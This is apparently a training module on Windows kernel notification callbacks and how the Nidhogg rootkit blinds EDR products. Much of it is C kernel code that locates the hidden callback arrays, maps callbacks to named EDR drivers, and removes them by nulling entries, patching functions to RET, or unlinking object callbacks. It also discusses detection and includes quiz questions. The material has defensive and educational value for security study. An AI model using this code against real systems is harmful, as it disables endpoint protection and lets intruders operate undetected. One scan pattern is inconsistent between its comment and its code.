Module 6: Kernel Callbacks & Notification Routines
How EDR hooks into the kernel with callbacks and how Nidhogg removes them.
Module Objective
Understand the kernel notification callback infrastructure that EDR products rely on (PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks), the internal callback arrays that store these registrations, and how Nidhogg enumerates and removes specific EDR callbacks to blind kernel-level monitoring.
1. Why EDR Uses Kernel Callbacks
Modern EDR products install kernel drivers that register for notification callbacks. These callbacks provide real-time visibility into critical system events without polling:
| Callback API | Events Notified | EDR Use Case |
|---|---|---|
PsSetCreateProcessNotifyRoutineEx | Every process creation and termination | Detect suspicious process spawning (e.g., cmd.exe from Word) |
PsSetCreateThreadNotifyRoutine | Every thread creation in any process | Detect remote thread injection (CreateRemoteThread) |
PsSetLoadImageNotifyRoutine | Every image (DLL/EXE) load in any process | Detect reflective DLL loading, suspicious DLL injection |
ObRegisterCallbacks | Handle creation/duplication for processes and threads | Protect EDR processes from being terminated or injected |
CmRegisterCallbackEx | All registry operations | Detect persistence via registry (Run keys, services) |
By registering these callbacks, the EDR driver is notified synchronously for every relevant event system-wide. This is far more reliable than user-mode hooking because the callbacks fire in kernel mode before any user-mode code can interfere.
2. Process Notification Callback Internals
When a driver calls PsSetCreateProcessNotifyRoutineEx, the kernel stores the callback in an internal array. The array structure is:
C// Internal kernel structure (undocumented)
// PspCreateProcessNotifyRoutine is a global array in ntoskrnl
// Each element is an EX_CALLBACK_ROUTINE_BLOCK pointer (encoded)
// The array has a fixed maximum size (64 entries on modern Windows)
typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
EX_RUNDOWN_REF RundownProtect; // Reference counting for safe removal
PEX_CALLBACK_FUNCTION Function; // The actual callback function pointer
PVOID Context; // Driver-provided context
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
// The global array in ntoskrnl:
// EX_CALLBACK PspCreateProcessNotifyRoutine[PSP_MAX_CREATE_PROCESS_NOTIFY];
// Each EX_CALLBACK contains a pointer to an EX_CALLBACK_ROUTINE_BLOCK
// The pointer is encoded using ExFastReference (low bits used for ref count)
Encoded Pointers
The kernel stores callback pointers using EX_FAST_REF encoding, where the lowest 4 bits (on x64) store a reference count cache. To get the actual pointer, the low bits must be masked off: actualPtr = encodedPtr & ~0xF. This is a common kernel optimization that Nidhogg must account for when reading the callback array.
3. Locating the Callback Arrays
The callback arrays (PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, PspLoadImageNotifyRoutine) are not exported. Nidhogg locates them by scanning known functions that reference them:
CPVOID FindPspCreateProcessNotifyRoutine() {
// Strategy: PsSetCreateProcessNotifyRoutine is EXPORTED
// and it references the internal array.
// 1. Get the address of the exported function
UNICODE_STRING funcName =
RTL_CONSTANT_STRING(L"PsSetCreateProcessNotifyRoutine");
PVOID funcAddr = MmGetSystemRoutineAddress(&funcName);
if (!funcAddr) return NULL;
// 2. Disassemble/scan the function for a LEA instruction
// that loads the address of PspCreateProcessNotifyRoutine
// Pattern: LEA R__, [RIP+offset] (48 8D 0D xx xx xx xx)
PUCHAR scan = (PUCHAR)funcAddr;
for (ULONG i = 0; i < 256; i++) {
// Look for LEA with RIP-relative addressing
if (scan[i] == 0x4C && scan[i+1] == 0x8D &&
(scan[i+2] & 0xC7) == 0x05) {
// Extract RIP-relative offset
LONG offset = *(PLONG)(&scan[i + 3]);
return (PVOID)(scan + i + 7 + offset);
}
}
return NULL;
}
4. Enumerating Registered Callbacks
Once the array is located, Nidhogg can enumerate all registered callbacks and identify which driver registered each one:
Ctypedef struct _CALLBACK_INFO {
PVOID CallbackAddress; // The callback function address
PVOID DriverBase; // Base address of the driver that owns it
WCHAR DriverName[64]; // Driver name (e.g., "CrowdStrike.sys")
ULONG ArrayIndex; // Index in the callback array
} CALLBACK_INFO;
NTSTATUS EnumerateProcessCallbacks(
CALLBACK_INFO* outInfo,
ULONG maxEntries,
PULONG actualCount
) {
PVOID* callbackArray = FindPspCreateProcessNotifyRoutine();
if (!callbackArray) return STATUS_NOT_FOUND;
*actualCount = 0;
for (ULONG i = 0; i < 64 && *actualCount < maxEntries; i++) {
// Decode the EX_FAST_REF pointer
ULONG_PTR encoded = (ULONG_PTR)callbackArray[i];
ULONG_PTR decoded = encoded & ~0xF; // Mask off ref count bits
if (decoded == 0) continue; // Empty slot
// The decoded pointer is an EX_CALLBACK_ROUTINE_BLOCK
PEX_CALLBACK_ROUTINE_BLOCK block =
(PEX_CALLBACK_ROUTINE_BLOCK)decoded;
// Get the actual callback function pointer
PVOID callbackFunc = block->Function;
// Identify which driver this callback belongs to
CALLBACK_INFO* info = &outInfo[*actualCount];
info->CallbackAddress = callbackFunc;
info->ArrayIndex = i;
IdentifyDriverByAddress(callbackFunc,
info->DriverName, &info->DriverBase);
(*actualCount)++;
}
return STATUS_SUCCESS;
}
5. Identifying EDR Driver Callbacks
To determine which callbacks belong to which driver, Nidhogg checks which loaded module's address range contains the callback function:
CNTSTATUS IdentifyDriverByAddress(
PVOID address,
PWCHAR driverName,
PVOID* driverBase
) {
// Walk PsLoadedModuleList to find which driver contains this address
// PsLoadedModuleList is a linked list of KLDR_DATA_TABLE_ENTRY structures
PKLDR_DATA_TABLE_ENTRY entry;
PLIST_ENTRY listHead = PsLoadedModuleList; // Exported by ntoskrnl
for (PLIST_ENTRY current = listHead->Flink;
current != listHead;
current = current->Flink)
{
entry = CONTAINING_RECORD(current, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
PVOID modBase = entry->DllBase;
PVOID modEnd = (PUCHAR)modBase + entry->SizeOfImage;
if (address >= modBase && address < modEnd) {
*driverBase = modBase;
RtlCopyMemory(driverName, entry->BaseDllName.Buffer,
min(entry->BaseDllName.Length, 63 * sizeof(WCHAR)));
return STATUS_SUCCESS;
}
}
return STATUS_NOT_FOUND; // Address not in any loaded module (manual-mapped?)
}
Common EDR Driver Names
| EDR Product | Kernel Driver(s) |
|---|---|
| CrowdStrike Falcon | csagent.sys, csdevicecontrol.sys |
| Microsoft Defender | WdFilter.sys |
| SentinelOne | SentinelMonitor.sys |
| Carbon Black | cbk7.sys, cbsensor.sys |
| Elastic | ElasticEndpoint.sys |
6. Removing EDR Callbacks
Nidhogg removes a callback by replacing its entry in the array with NULL or by patching the callback function to immediately return:
C// Method 1: Null out the array entry
NTSTATUS RemoveProcessCallback(ULONG arrayIndex) {
PVOID* callbackArray = FindPspCreateProcessNotifyRoutine();
if (!callbackArray) return STATUS_NOT_FOUND;
// Atomically replace the entry with NULL
InterlockedExchangePointer(&callbackArray[arrayIndex], NULL);
return STATUS_SUCCESS;
}
// Method 2: Patch the callback function to RET immediately
NTSTATUS PatchCallbackFunction(PVOID callbackAddress) {
// Disable write protection on the page
PMDL mdl = IoAllocateMdl(callbackAddress, 1, FALSE, FALSE, NULL);
MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess);
PVOID mapped = MmMapLockedPagesSpecifyCache(
mdl, KernelMode, MmNonCached, NULL, FALSE, NormalPagePriority
);
// Write a RET instruction (0xC3)
*(PUCHAR)mapped = 0xC3;
// Cleanup
MmUnmapLockedPages(mapped, mdl);
MmUnlockPages(mdl);
IoFreeMdl(mdl);
return STATUS_SUCCESS;
}
Method 1 vs Method 2
Nulling the array entry is cleaner but can be detected by integrity checks that count registered callbacks. Patching to RET leaves the registration intact but makes the callback a no-op. Some EDR products checksum their own callback functions and detect the patch. In practice, combining both approaches and targeting specific products may be necessary.
7. Thread and Image Load Callbacks
The same approach works for thread creation and image load callbacks, since they use identical internal array structures:
C// Thread notification callbacks
// Stored in: PspCreateThreadNotifyRoutine (internal array)
// Registered via: PsSetCreateThreadNotifyRoutine
// Callback signature:
typedef VOID (*PCREATE_THREAD_NOTIFY_ROUTINE)(
HANDLE ProcessId,
HANDLE ThreadId,
BOOLEAN Create // TRUE = created, FALSE = terminated
);
// Image load notification callbacks
// Stored in: PspLoadImageNotifyRoutine (internal array)
// Registered via: PsSetLoadImageNotifyRoutine
// Callback signature:
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo // Contains base address, size, etc.
);
| Callback Type | Internal Array | Max Entries | Location Method |
|---|---|---|---|
| Process creation | PspCreateProcessNotifyRoutine | 64 | Scan PsSetCreateProcessNotifyRoutine |
| Thread creation | PspCreateThreadNotifyRoutine | 64 | Scan PsSetCreateThreadNotifyRoutine |
| Image load | PspLoadImageNotifyRoutine | 64 | Scan PsSetLoadImageNotifyRoutine |
8. ObRegisterCallbacks Removal
ObRegisterCallbacks registrations (used for handle protection, covered in Module 3) have a different internal structure. They are stored in callback objects attached to the OBJECT_TYPE structure for processes and threads:
C// OBJECT_TYPE contains a CALLBACK_OBJECT for ObRegisterCallbacks
// The callback list is at OBJECT_TYPE->CallbackList
// To remove an ObRegisterCallbacks registration:
// 1. Get the OBJECT_TYPE for processes: *PsProcessType
// 2. Walk the CallbackList linked list
// 3. Find the entry belonging to the target EDR driver
// 4. Unlink it from the list
NTSTATUS RemoveObCallback(POBJECT_TYPE objectType, PVOID targetDriverBase) {
// The CallbackList is at a known offset in OBJECT_TYPE
PLIST_ENTRY callbackList =
(PLIST_ENTRY)((PUCHAR)objectType + OB_CALLBACK_LIST_OFFSET);
for (PLIST_ENTRY entry = callbackList->Flink;
entry != callbackList;
entry = entry->Flink)
{
// Each entry contains pre/post operation callback pointers
// Check if the callback address falls within the target driver
POB_CALLBACK_ENTRY cbEntry =
CONTAINING_RECORD(entry, OB_CALLBACK_ENTRY, CallbackList);
PVOID preOp = cbEntry->PreOperation;
if (IsAddressInModule(preOp, targetDriverBase)) {
// Unlink this callback entry
RemoveEntryList(entry);
return STATUS_SUCCESS;
}
}
return STATUS_NOT_FOUND;
}
9. Impact and Detection Considerations
Removing EDR callbacks has massive impact but also creates detectable artifacts:
Impact of Callback Removal
- Process creation callbacks removed: EDR cannot detect suspicious process trees or parent spoofing
- Thread callbacks removed: Remote thread injection goes unnoticed
- Image load callbacks removed: Reflective DLL injection and module stomping become invisible
- ObCallbacks removed: EDR's self-protection is neutralized; its process can be terminated
| Detection Method | What It Checks |
|---|---|
| Callback count monitoring | EDR periodically counts its registered callbacks and alerts if count decreases |
| Callback integrity checks | EDR checksums its callback functions and detects RET patches |
| Kernel telemetry | Some EDR products have secondary detection via minifilters, not just callbacks |
| Callback re-registration | EDR periodically re-registers callbacks, undoing the removal |
| Driver verifier | Integrity checking of callback arrays by anti-tamper components |
Arms Race
Callback removal is an arms race. EDR vendors implement watchdog threads that periodically verify their callbacks are intact and re-register them if removed. A sophisticated rootkit like Nidhogg may need to run a background thread that continuously removes re-registered callbacks, creating a persistent battle between the rootkit and the EDR self-protection mechanism.
Knowledge Check
Q1: How does Nidhogg locate the PspCreateProcessNotifyRoutine internal array?
Q2: What does EX_FAST_REF encoding mean for the callback array pointers?
Q3: What is the main risk of nulling a callback array entry compared to patching the function to RET?